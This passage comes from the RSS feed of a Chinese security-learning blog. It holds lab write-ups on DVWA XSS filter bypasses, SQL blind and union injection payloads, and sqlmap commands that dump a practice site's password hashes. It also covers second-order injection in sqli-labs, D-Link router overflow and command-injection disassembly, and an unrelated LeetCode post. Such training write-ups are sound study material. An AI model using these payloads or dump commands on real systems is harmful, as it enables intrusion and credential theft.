&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里用到了PDO预编译的方式&lt;br /&gt;
那可能就真的没办法了&lt;/p&gt;
&lt;p&gt;看了下&lt;code&gt;stackoverflow&lt;/code&gt;&lt;br /&gt;
&lt;a href=&quot;https://stackoverflow.com/questions/60174/how-can-i-prevent-sql-injection-in-php/60496#60496&quot;&gt;How can I prevent SQL injection in PHP?&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可以有两种方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$stmt = $pdo-&amp;gt;prepare(&apos;SELECT * FROM employees WHERE name = :name&apos;);

$stmt-&amp;gt;execute(array(&apos;name&apos; =&amp;gt; $name));

foreach ($stmt as $row) {
    // Do something with $row
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者对于mysql来说，可以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$stmt = $dbConnection-&amp;gt;prepare(&apos;SELECT * FROM employees WHERE name = ?&apos;);
$stmt-&amp;gt;bind_param(&apos;s&apos;, $name); // &apos;s&apos; specifies the variable type =&amp;gt; &apos;string&apos;

$stmt-&amp;gt;execute();

$result = $stmt-&amp;gt;get_result();
while ($row = $result-&amp;gt;fetch_assoc()) {
    // Do something with $row
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PDO真的是安全的吗？&lt;br /&gt;
&lt;a href=&quot;https://stackoverflow.com/questions/134099/are-pdo-prepared-statements-sufficient-to-prevent-sql-injection&quot;&gt;Are PDO prepared statements sufficient to prevent SQL injection?&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string/12118602#12118602&quot;&gt;SQL injection that gets around mysql_real_escape_string()&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;XSS reflected&lt;/h2&gt;
&lt;p&gt;第一遍在chrome上试了下&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;没成功&lt;br /&gt;
但是看源码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/07/15/5d2c94341de9b41277.png&quot; alt=&quot;xss0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可能是chrome太安全了吧&lt;br /&gt;
换成firefox就没事了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/07/15/5d2c9456115fc37192.png&quot; alt=&quot;xss1&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;medium&lt;/h3&gt;
&lt;p&gt;如果看源码就会发现只是简单地对&lt;code&gt;script&lt;/code&gt;进行了一次过滤&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$name = str_replace( &apos;&amp;lt;script&amp;gt;&apos;, &apos;&apos;, $_GET[ &apos;name&apos; ] );&lt;/code&gt;&lt;br /&gt;
那么如何绕过这个限制呢&lt;/p&gt;
&lt;p&gt;那就这样构造&lt;br /&gt;
&lt;code&gt;&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;
就能绕过过滤了，主要问题还是过滤不严格，之过滤了一次，所以双写就能很容易地绕过了&lt;/p&gt;
&lt;p&gt;ps. 大小写也可以&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/07/15/5d2c954361c0181578.png&quot; alt=&quot;xss2&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;high&lt;/h3&gt;
&lt;p&gt;这次过滤更严格了&lt;br /&gt;
&lt;code&gt;$name = preg_replace( &apos;/&amp;lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&apos;, &apos;&apos;, $_GET[ &apos;name&apos; ] );&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最后只留了一个&lt;code&gt;&amp;gt;&lt;/code&gt;给你&lt;/p&gt;
&lt;p&gt;果然我记得还有&lt;code&gt;img&lt;/code&gt;标签也可以造成xss来着&lt;br /&gt;
&lt;code&gt;&amp;lt;img src=&quot;aa&quot; onError=alert(123) &amp;gt;&lt;/code&gt;&lt;br /&gt;
这样就行啦，当然chrome太安全了，还是用firefox吧&lt;/p&gt;
&lt;h3&gt;impossible&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;checkToken( $_REQUEST[ &apos;user_token&apos; ],$_SESSION[ &apos;session_token&apos; ], &apos;index.php&apos; );

// Get input
$name = htmlspecialchars( $_GET[ &apos;name&apos; ] );

// Feedback for end user
$html .= &quot;&amp;lt;pre&amp;gt;Hello ${name}&amp;lt;/pre&amp;gt;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种情况下还进行了实体编码，看你怎么绕过&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.leavesongs.com/PENETRATION/xss-collect.html&quot;&gt;那些年我们没能bypass的xss filter&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一篇总结了xss的文章&lt;/p&gt;
&lt;h2&gt;sql 盲注&lt;/h2&gt;
&lt;p&gt;从low开始看起，&lt;br /&gt;
直接抓包然后将数据包保存起来，用sqlmap跑一下就就出来了，-r参数是读取一个数据包中的文件，然后sqlmap会自动解析它&lt;/p&gt;
&lt;h3&gt;mediume&lt;/h3&gt;
&lt;p&gt;一样的，只是数据包变成了post方式提交的&lt;/p&gt;
&lt;h3&gt;high&lt;/h3&gt;
&lt;p&gt;这次sqlmap抽风没跑出来&lt;br /&gt;
看下源码好了&lt;br /&gt;
本来盲注就是要通过脚本来跑的，但是我比较懒emmm，还是要复习一下如何用python脚本跑出来&lt;/p&gt;
&lt;p&gt;如何盲注？&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/170626#h3-18&quot;&gt;一篇文章带你深入理解 SQL 盲注&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;盲注最常见的一个payload&lt;br /&gt;
&lt;code&gt;127.0.0.1/sqllib/Less-5/?id=1&apos;and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=80–+&lt;/code&gt; 判断数据库中第一个表的第一个字符为否为’P’&lt;/p&gt;
&lt;h2&gt;xss 存储型&lt;/h2&gt;
&lt;p&gt;还是最简单的low&lt;br /&gt;
表单上的&lt;code&gt;name&lt;/code&gt;有长度限制，不过这只是前端的限制而已&lt;br /&gt;
&lt;code&gt;&amp;lt;div id=&quot;guestbook_comments&quot;&amp;gt;Name: &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;br /&amp;gt;Message: &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;br /&gt;
注入成功&lt;/p&gt;
&lt;h3&gt;medium&lt;/h3&gt;
&lt;p&gt;这就很尴尬了。。&lt;br /&gt;
原来这就是存储型xss的厉害了，直接存进去了，所以我打开medium的页面时，连着弹出了两个框框，于是想看一下它的源码：&lt;/p&gt;
&lt;p&gt;这里也是通过大小写或者双写就能绕过的&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;sCriPt&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;找到了一个xss平台&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://xssye.com/index.php?do=project&amp;amp;act=view&amp;amp;id=3761&quot;&gt;xss平台&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是我发现我不会用了。。&lt;/p&gt;
</content:encoded></item><item><title>IOT D-link</title><link>https://rayepeng.net/posts/iot-d-link/</link><guid isPermaLink="true">https://rayepeng.net/posts/iot-d-link/</guid><pubDate>Sat, 20 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;DIR-815栈溢出漏洞&lt;/h1&gt;
&lt;p&gt;屡次调试都失败了，我才发现原来这个版本的DIR-815已经修复了(DIR-815_REVB_FIRMWARE_2.03.B08)。&lt;br /&gt;
所以这个栈溢出是不存在的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:0040BE04 move    $a3, $s2
.text:0040BE08 la      $a2, aSSPostxml                  # &quot;%s/%s/postxml&quot;
.text:0040BE0C move    $a0, $s1                         # s
.text:0040BE10 li      $a1, 0x400                       # maxlen
.text:0040BE14 jalr    $t9 ; snprintf
.text:0040BE18 sw      $v0, 0x4F0+var_4E0($sp)
.text:0040BE1C lw      $gp, 0x4F0+var_4D8($sp)
.text:0040BE20 move    $a2, $s1
.text:0040BE24 la      $t9, xmldbc_del
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;DIR-645 缓冲区溢出漏洞&lt;/h1&gt;
&lt;p&gt;动态调试：&lt;br /&gt;
在&lt;code&gt;authenticationcgi_main&lt;/code&gt;处下断点&lt;/p&gt;
&lt;p&gt;此时返回地址保存在这里：&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/oh6ghYW.png&quot; alt=&quot;645-0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后运行到此处：&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/ANbYbap.png&quot; alt=&quot;645-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时返回地址被覆盖了&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/FPyCjMv.png&quot; alt=&quot;645-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续运行，程序果然崩溃了&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/FL4my7C.png&quot; alt=&quot;645-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入到函数&lt;code&gt;sub40A424&lt;/code&gt;&lt;br /&gt;
程序在此时崩溃了&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/OXwIv4A.png&quot; alt=&quot;645-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试修改password长度&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/DVBCxyS.png&quot; alt=&quot;645-5&quot; /&gt;&lt;br /&gt;
程序还是崩溃了&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/MpSoECY.png&quot; alt=&quot;645-6&quot; /&gt;&lt;br /&gt;
查看反汇编代码&lt;br /&gt;
程序从外部读入&lt;code&gt;CONTENT_LENGTH&lt;/code&gt;没有进行任何检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text:0040B4A0                 la      $t9, getenv
.text:0040B4A4                 la      $a0, aContent_length  # &quot;CONTENT_LENGTH&quot;
.text:0040B4A8                 jalr    $t9 ; getenv
.text:0040B4AC                 move    $s0, $v0
.text:0040B4B0                 lw      $gp, 0xF90+var_F78($sp)
.text:0040B4B4                 beqz    $s0, loc_40B610
.text:0040B4B8                 addiu   $a0, $sp, 0xF90+var_938
.text:0040B4BC                 beqz    $v0, loc_40B614
.text:0040B4C0                 addiu   $a1, $sp, 0xF90+var_E1C
.text:0040B4C4                 la      $t9, atoi
.text:0040B4C8                 nop
.text:0040B4CC                 jalr    $t9 ; atoi
.text:0040B4D0                 move    $a0, $v0         # nptr
.text:0040B4D4                 lw      $gp, 0xF90+var_F78($sp)
.text:0040B4D8                 move    $s0, $v0
.text:0040B4DC                 la      $v1, stdin
.text:0040B4E0                 la      $t9, fileno
.text:0040B4E4                 lw      $a0, (stdin - 0x4353CC)($v1)  # stream
.text:0040B4E8                 jalr    $t9 ; fileno
.text:0040B4EC                 addiu   $s1, $sp, 0xF90+var_430
.text:0040B4F0                 lw      $gp, 0xF90+var_F78($sp)
.text:0040B4F4                 move    $a0, $v0         # fd
.text:0040B4F8                 la      $t9, read
.text:0040B4FC                 move    $a1, $s1         # buf
.text:0040B500                 jalr    $t9 ; read
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;计算偏移量；&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/a2gu75K.png&quot; alt=&quot;645-7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后面的利用过程感觉比较复杂，没能成功地复现&lt;/p&gt;
&lt;h1&gt;DIR-645命令执行漏洞&lt;/h1&gt;
&lt;p&gt;在安全客上看到了一篇分析DIR-645命令执行地文章，随分析一下原理&lt;/p&gt;
&lt;p&gt;直接查看&lt;code&gt;servicecgi_main&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;首先会对请求方法进行判断，如果是POST方法则会调用&lt;code&gt;cgibin_parse_request&lt;/code&gt;解析参数，具体的实现暂时不考虑，主要是解析CONTENT_TYPE和CONTENT_LENGTH,之后会调用&lt;code&gt;sess_ispoweruser&lt;/code&gt;判断是否为合法用户&lt;br /&gt;
之后获取 POST 表单字段，若字段名为 EVENT 的话，就将 “event %s &amp;gt; /dev/null” 作为参数执行 lxmldbc_system 函数。&lt;br /&gt;
查看&lt;code&gt;lxmldbc_system&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sw      $a1, 0x428+arg_4($sp)
sw      $a2, 0x428+arg_8($sp)
sw      $a3, 0x428+arg_C($sp)
move    $a2, $a0         # format
move    $a3, $v0         # arg
move    $a0, $s0         # s
sw      $v0, 0x428+var_410($sp)
jalr    $t9 ; vsnprintf  
li      $a1, 0x400       # maxlen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要关注最后两条指令，因为这里用到了MIPS中地分支延迟槽技术，所以&lt;code&gt;$a1&lt;/code&gt;传递参数的指令存放在&lt;code&gt;jalr&lt;/code&gt;指令之后&lt;br /&gt;
故&lt;code&gt;vsnprintf($sp+0x428+var_40C,0x400,&quot;event %s &amp;gt; /dev/null&quot;,arg_4)&lt;/code&gt;&lt;br /&gt;
vsnprintf函数的用法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;函数原型：int vsnprintf(char str, size_t size, const char format,va_list ap);&lt;br /&gt;
函数说明：将可变参数格式化输出到一个字符数组&lt;br /&gt;
参数：str输出到的数组，size指定大小，防止越界，format格式化参数，ap可变参数列表函数用法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;接着调用system函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jalr    $t9 ; system
move    $a0, $s0         # command
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看一下参数的传递过程&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/GJkYz9r.png&quot; alt=&quot;645-8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$s0&lt;/code&gt;本来是栈上的一个变量，&lt;code&gt;vsnprintf&lt;/code&gt;将可变参数格式化输出到其中，之后又将其作为参数传递给&lt;code&gt;system&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;相当于执行了&lt;br /&gt;
&lt;code&gt;system(&quot;event %s &amp;gt; /dev/null&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这样就可以想办法进行命令注入了&lt;/p&gt;
&lt;h1&gt;参考&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.zybuluo.com/H4l0/note/1461277&quot;&gt;路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Leetcode 2</title><link>https://rayepeng.net/posts/leetcode-2/</link><guid isPermaLink="true">https://rayepeng.net/posts/leetcode-2/</guid><pubDate>Mon, 15 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;错解&lt;/h1&gt;
&lt;p&gt;怎么快速地将链表倒置&lt;/p&gt;
&lt;p&gt;:confused:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/phNwhfi.png&quot; alt=&quot;wrong&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后还是因为溢出的问题&lt;/p&gt;
&lt;p&gt;思路：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
​        int k = 0;

        ListNode temp1 = l1;

        ListNode temp2 = l2;

        double resultl1 = 0;

        double resultl2 = 0;

        while (temp1 != null) {

            int tempvalue = temp1.val;

            resultl1 = resultl1 + tempvalue * Math.pow(10, k);

            k++;

            temp1 = temp1.next;

        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是将其转化为整数，因为链表的第一个元素是最低位，之后是十位，百位等&lt;/p&gt;
&lt;p&gt;将得到的结果在转化为链表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
int result = (int) (resultl1 + resultl2);

ListNode ans = new ListNode(0); //先取一个头节点

ListNode head = ans;

int length = Integer.toString(result).length();

for (int i = 0; i &amp;lt; length; i++) {

    ListNode temp = new ListNode(result % 10);

    head.next = temp;

    head = head.next;

    result = result / 10;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记录一下将整数转为string的操作&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Integer.toString(result)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Math.pow函数的返回值必须是double类型的&lt;/p&gt;
&lt;p&gt;但是这样会面临一个问题，也就是最开图片的那个，溢出！&lt;/p&gt;
&lt;h1&gt;正解&lt;/h1&gt;
&lt;p&gt;看了眼答案，才明白自己从开始就想错了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
public ListNode addTwoNumbers(ListNode l1, ListNode l2) {

    ListNode dummyHead = new ListNode(0);

    ListNode p = l1, q = l2, curr = dummyHead;

    int carry = 0;

    while (p != null || q != null) {

        int x = (p != null) ? p.val : 0;

        int y = (q != null) ? q.val : 0;

        int sum = carry + x + y;

        carry = sum / 10;

        curr.next = new ListNode(sum % 10);

        curr = curr.next;

        if (p != null) p = p.next;

        if (q != null) q = q.next;

    }

    if (carry &amp;gt; 0) {

        curr.next = new ListNode(carry);

    }

    return dummyHead.next;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最关键的就是&lt;/p&gt;
&lt;p&gt;==int x = (p != null) ? p.val : 0;&lt;/p&gt;
&lt;p&gt;int y = (q != null) ? q.val : 0;&lt;/p&gt;
&lt;p&gt;int sum = carry + x + y;&lt;/p&gt;
&lt;p&gt;carry = sum / 10;&lt;/p&gt;
&lt;p&gt;curr.next = new ListNode(sum % 10);==&lt;/p&gt;
&lt;p&gt;其实只需要从低位开始一位位的加上去就好了。&lt;/p&gt;
&lt;p&gt;然后再把它们给链起来&lt;/p&gt;
</content:encoded></item><item><title>sql注入实践</title><link>https://rayepeng.net/posts/sql%E6%B3%A8%E5%85%A5%E5%AE%9E%E8%B7%B5/</link><guid isPermaLink="true">https://rayepeng.net/posts/sql%E6%B3%A8%E5%85%A5%E5%AE%9E%E8%B7%B5/</guid><pubDate>Mon, 15 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;基于sql的盲注&lt;/h1&gt;
&lt;p&gt;之前一直没有好好地学习过&lt;code&gt;sqlmap&lt;/code&gt;的使用方法&lt;/p&gt;
&lt;p&gt;如果是针对post表单这种方式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;可以将抓到的包保存成一个文件，然后使用 &lt;code&gt;sqlmap.py -r &quot;post.txt&quot; -p n --dbs&lt;/code&gt; 其中&lt;code&gt;-p&lt;/code&gt;是指定参数&lt;/li&gt;
&lt;li&gt;sqlmap也可以自动搜寻表单&lt;code&gt;sqlmap.py -u &quot;url&quot; --forms&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;指定参数&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;趁机学到了一把&lt;code&gt;sqlmap&lt;/code&gt;使用&lt;br /&gt;
虽然这个题目是有点。。&lt;br /&gt;
但是注入点的判断也是很重要的&lt;/p&gt;
&lt;h2&gt;爆后端数据库&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;python sqlmap.py -u &quot;http://219.153.49.228:40952/new_list.php?id=1&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/8EdgoS3.png&quot; alt=&quot;backdatabase&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;爆数据库&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;python sqlmap.py -u &quot;http://219.153.49.228:40952/new_list.php?id=1&quot; --dbs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/11/5vAtbEX6sDcnMYK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;指定数据库报表爆表&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;python sqlmap.py -u &quot;http://219.153.49.228:40952/new_list.php?id=1&quot; --dbs -D stormgroup --tables&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/11/xyn5Y4EqVjtPIRG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;指定数据库和表爆字段&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;python sqlmap.py -u &quot;http://219.153.49.228:40952/new_list.php?id=1&quot; --dbs -D stormgroup -T member --columns&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/nd1VTmg.png&quot; alt=&quot;column&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;指定数据库，表，字符然后dump出数据&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;python sqlmap.py -u &quot;http://219.153.49.228:40952/new_list.php?id=1&quot; --dbs -D stormgroup -T member -C password --dump&lt;/code&gt;&lt;br /&gt;
![member](https://i.imgur.com/iRvoAHX.
![password](https://i.imgur.com/B6oLiAA.png)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Database: stormgroup
Table: member
[2 entries]
+-------+----------------------------------+--------+
| name  | password                         | status |
+-------+----------------------------------+--------+
| mozhe | 3114b433dece9180717f2b7de56b28a3 | 0      |
| mozhe | b7a0bebf8287c87253fb2958a390346a | 1      |
+-------+----------------------------------+--------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密之后是106370&lt;br /&gt;
这样就能登陆后台了&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/6KXMijL.png&quot; alt=&quot;houtai&quot; /&gt;&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/yxq3qQi.png&quot; alt=&quot;key0&quot; /&gt;&lt;br /&gt;
太神奇了&lt;/p&gt;
&lt;p&gt;参考&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/u011781521/article/details/58594941&quot;&gt;sqlmap之(六)——POST登陆框注入实战&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;SQL手工注入漏洞测试(Access数据库)&lt;/h1&gt;
&lt;p&gt;这道题目就有点神奇了&lt;/p&gt;
&lt;p&gt;纯靠猜&lt;/p&gt;
&lt;p&gt;&lt;code&gt;order by 4&lt;/code&gt;判断有多少个字段&lt;/p&gt;
&lt;p&gt;然后 &lt;code&gt;new_list.asp?id=1 and exists(select * from admin)&lt;/code&gt;判断是否存在&lt;code&gt;admin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/UmyBe7l.png&quot; alt=&quot;access0&quot; /&gt;&lt;br /&gt;
接下来判断回显位置&lt;br /&gt;
&lt;code&gt;/new_list.asp?id=1 union select 1,2,3,4 from admin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/eyqGQZO.png&quot; alt=&quot;access1&quot; /&gt;&lt;br /&gt;
接下来猜测字段值&lt;br /&gt;
&lt;code&gt;and exists (select id from admin)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;爆出字段值&lt;br /&gt;
&lt;code&gt;union select 1,username,passwd,id from admin&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/H5rq91S.png&quot; alt=&quot;access2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;md5解密一下登陆就行了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/qq_39936434/article/details/94718134&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;二次注入分析&lt;/h1&gt;
&lt;p&gt;看一下sqli的第24题&lt;/p&gt;
&lt;p&gt;可以注册账号进行登陆，登陆之后可以修改密码。&lt;/p&gt;
&lt;p&gt;登陆点尝试注入发现被检测到了，注册的时候尝试注册&lt;code&gt;admin&lt;/code&gt;的账号提示账号已存在&lt;/p&gt;
&lt;p&gt;看一下源码(用的docker环境，mysql登陆没有密码)&lt;/p&gt;
&lt;p&gt;直接全局搜索&lt;code&gt;username&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sqli0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function sqllogin(){

   $username = mysql_real_escape_string($_POST[&quot;login_user&quot;]);
   $password = mysql_real_escape_string($_POST[&quot;login_password&quot;]);
   $sql = &quot;SELECT * FROM users WHERE username=&apos;$username&apos; and password=&apos;$password&apos;&quot;;
//$sql = &quot;SELECT COUNT(*) FROM users WHERE username=&apos;$username&apos; and password=&apos;$password&apos;&quot;;
   $res = mysql_query($sql) or die(&apos;You tried to be real smart, Try harder!!!! :( &apos;);
   $row = mysql_fetch_row($res);
        //print_r($row) ;
   if ($row[1]) {
                        return $row[1];
   } else {
                return 0;
   }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里使用了&lt;code&gt;mysql_real_escape_string&lt;/code&gt;方法转义数据，导致注入无法发生&lt;/p&gt;
&lt;p&gt;但是我们尝试注册&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;login_create&lt;/code&gt;中有一处：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@44662761c057:/var/www/html/Less-24# grep &quot;insert&quot; *
login_create.php:   				$sql = &quot;insert into users ( username, password) values(\&quot;$username\&quot;, \&quot;$pass\&quot;)&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;mysql_escape_string&lt;/code&gt;函数也会转义一些字符比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    $item = &quot;Zak&apos;s Laptop&quot;;
    $escaped_item = mysql_escape_string($item);
    printf (&quot;Escaped string: %s\n&quot;, $escaped_item);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;br /&gt;
&lt;code&gt;Escaped string: Zak\&apos;s Laptop&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是我们尝试注册&lt;code&gt;test&apos;#&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sqli1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功了？&lt;br /&gt;
看下数据库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select * from users where username=&quot;test&apos;#&quot;;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | test&apos;#   | 123      |
+----+----------+----------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很神奇。。&lt;/p&gt;
&lt;p&gt;传入的&lt;code&gt;username&lt;/code&gt;已经被成功转义&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sqli3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;学习一下&lt;code&gt;mysql_query&lt;/code&gt;返回的是一个资源值&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sqli4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时构造的sql语句也没问题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sqli5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然而插入的数据就是有问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | test&apos;#   | 111        |
+----+----------+------------+
14 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个可真的没办法了。。&lt;/p&gt;
&lt;p&gt;有个问题，当我登陆的时候：&lt;/p&gt;
&lt;p&gt;sql语句是这样的：&lt;br /&gt;
&lt;code&gt;&quot;SELECT * FROM users WHERE username=&apos;test\&apos;#&apos; and password=&apos;111&apos;&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;则此时重置密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sqli6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&quot;UPDATE users SET PASSWORD=&apos;&apos; where username=&apos;test&apos;#&apos; and password=&apos;111&apos; &quot;&lt;/code&gt;&lt;/p&gt;
